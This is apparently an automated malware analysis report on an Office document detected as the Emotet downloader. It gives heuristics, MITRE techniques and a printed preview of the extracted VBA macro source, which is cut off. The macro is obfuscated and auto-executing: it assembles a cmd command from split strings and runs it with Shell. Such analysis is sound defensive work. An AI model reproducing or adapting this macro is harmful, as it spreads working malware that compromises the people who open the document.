MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The AutoOpen macro is designed to execute a command-line payload. The ClamAV detection explicitly identifies this as Emotet, a known downloader family.
Heuristics 5
-
ClamAV: Doc.Downloader.Emotet-6884098-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6884098-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5678 bytes |
SHA-256: e2b9916fc48897ef2f4e61d9d922977ce3f3ccb8dcaa08b8e1a097eddcb26803 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "nApbHzK"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
TypeName 3
TypeName TUlat
TypeName CByte(621)
TypeName 429753229
Shell@ CStr("c") + CStr("m") + VRqcTofJjbmOo + IHiqNKzBwrA + FqdXN + rjmok + DiHnCKmkwEj + cGZEkwbwh + GmpkbpudSOP, 335864025 - 335864025
TypeName Sgn(98)
TypeName Oct(27)
End Sub
Attribute VB_Name = "rlSjpwvIJ"
Function FqdXN()
On Error Resume Next
TypeName CLng(QPBjjI)
TypeName LYmzz
ELrXaKRwEY = "d" + " /V:/C" + CStr(Chr(blmnwPMFK + lbucsYFLZJMTq + 34 + XcliBlGAHc + fDMISOFSl)) + "set v" + "Nd" + "r=KrLzIF" + "QTi" + "bdGu" + "OiiMbdR" + "dHtCiPj" + "cS" + "QRsvU" + ",-9D6m=p@" + "qWV:lg ANZ"
TypeName 7498
TypeName 135791925
FNBBnQz = "'" + "\+onx){JYf" + "a$;(" + "w/4yk.h}2e" + "&&for %t " + "in (41,56" + ",68,77,1"
TypeName GSlKc
TypeName Cos(upEVUv)
EAEbU = ",31,74,7" + "7,47,47" + ",49,65," + "23,61," + "33,40,57" + ",77,6" + "8," + "35"
TypeName Oct(nXRhiX + KSSNdO)
TypeName CLng(60)
TypeName Rnd(sXbwDM)
UJRLjza = ",56,17," + "26,77,27," + "2" + "2,49,5" + "1,77," + "22,7" + "3,44,"
TypeName ChrB(91977 - OvaOJu)
TypeName CInt(jpjAXt / DCiHzw * 68372 / nBGmSt)
TypeName 8083
XDbIoqkQV = "77,17" + ",23," + "47,24,77," + "57,22,66," + "65,45,3," + "64,40,5"
TypeName Oct(mIAkDI)
TypeName 5
YSiFnWWjz = "3,74,22" + ",22,41,46" + ",69,6" + "9," + "71,4" + "1,31,24,6" + "3,77,31,2"
TypeName CByte(5)
TypeName 3655
wFzud = "2,73" + ",27,5" + "6," + "39" + ",6" + "9,43,64,3" + ",42" + ",74," + "2" + "2,22,41,4" + "6,69"
TypeName aZJSqi
TypeName Sin(1)
TypeName wSLhaI
XTzSfvMNq = ",69," + "4" + "8," + "56,47,20,3" + "1,77,47,4"
FqdXN = ELrXaKRwEY + FNBBnQz + EAEbU + UJRLjza + XDbIoqkQV + YSiFnWWjz + wFzud + XTzSfvMNq
TypeName Oct(7)
TypeName Atn(126219454)
TypeName CInt(JzOPtI)
End Function
Function rjmok()
On Error Resume Next
TypeName Sqr(7578)
TypeName CLiznp
TypeName ChrW(bjpzbh)
EjKimv = "7" + ",24,57,48," + "31,12" + ",27,27," + "77,31,3" + "1,73," + "27,56,39,6" + "9" + ","
TypeName Round(AfwpaN)
TypeName Sin(rpBTvJ - XMqLZ + vUzKLB * ZCLii)
TypeName Oct(LKQJrl / BTqfsb - Fudsii * bZDFW)
sqmTlAIFU = "4" + "3," + "52" + ",42,74,2" + "2," + "22,41" + ",46,6" + "9,69,7" + "4,64"
TypeName CStr(kMDVsE / ipLwR / iinjF * 77357)
TypeName SkhVfm
TypeName Sin(13983 / tuUZJ)
JIsstYSIUz = ",12,31,35" + ",7" + "7,57,48," + "77,47,31,2" + "2,77," + "24,57," + "35"
TypeName hmlpJw
TypeName 40
TypeName Fix(75)
WwNkLWHkdV = "," + "22,1" + ",64,32" + ",77,3" + "9,12," + "77,57,20" + ",77,73" + ",20,77,"
TypeName Cos(YBdak)
TypeName 86
wlffdLEU = "6" + "9,23," + "62," + "36,57,42," + "74,"
TypeName BSuUB
TypeName BTRQu
TypeName ChrB(PwlviB)
qsWECPt = "22," + "22,41,46," + "69,69" + "," + "74" + "," + "64,31,6" + "4," + "47,47,2" + "2,64,47,77" + ",57," + "22,73,27,5" + "6,39,69,"
TypeName ChrB(5)
TypeName Sin(989)
OCvVJtRHj = "17,7,42," + "74," + "22,22,41" + "," + "4" + "6,69,6" + "9,74,64,1" + ",32,77" + ",31,22,"
TypeName Atn(277038156)
TypeName ChrB(275271147)
WajdoVGu = "68" + ",24,1" + ",77,73," + "27,56," + "39,6" + "9,50,53" + ",73,2" + "8,41,47" + ",24,22," + "67" + ",53,42"
TypeName 14
TypeName ChrB(CbfdoO + 85121 - 32689 + nXzoRv)
TypeName CStr(JFYRL)
wtTAChOb = ",53," + "59" + "," + "66,65,2" + "6,61,25" + ",49,40,49" + ",53," + "38,70,76,5"
TypeName 2
TypeName vbzwE
jjjKURmMOnY = "3" + ",66," + "65,39" + ",2" + "3,25," + "40,65,77" + "," + "57," + "32,46,22,"
TypeName Sin(8)
TypeName 6
TypeName 332169106
YZaYRsImizb = "77,39,41,5" + "5,53" + ",54,53,5" + "5" + ",65,26," + "61,25," + "55,53,7"
TypeName Sgn(32968661)
TypeName ChrB(JJCdd + jvFWk)
TypeName Sin(99)
aSMRvcq = "3" + ",77,5" + "8,77,5" + "3,66,63" + "," + "56,1,77" + ",64,27,74," + "
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.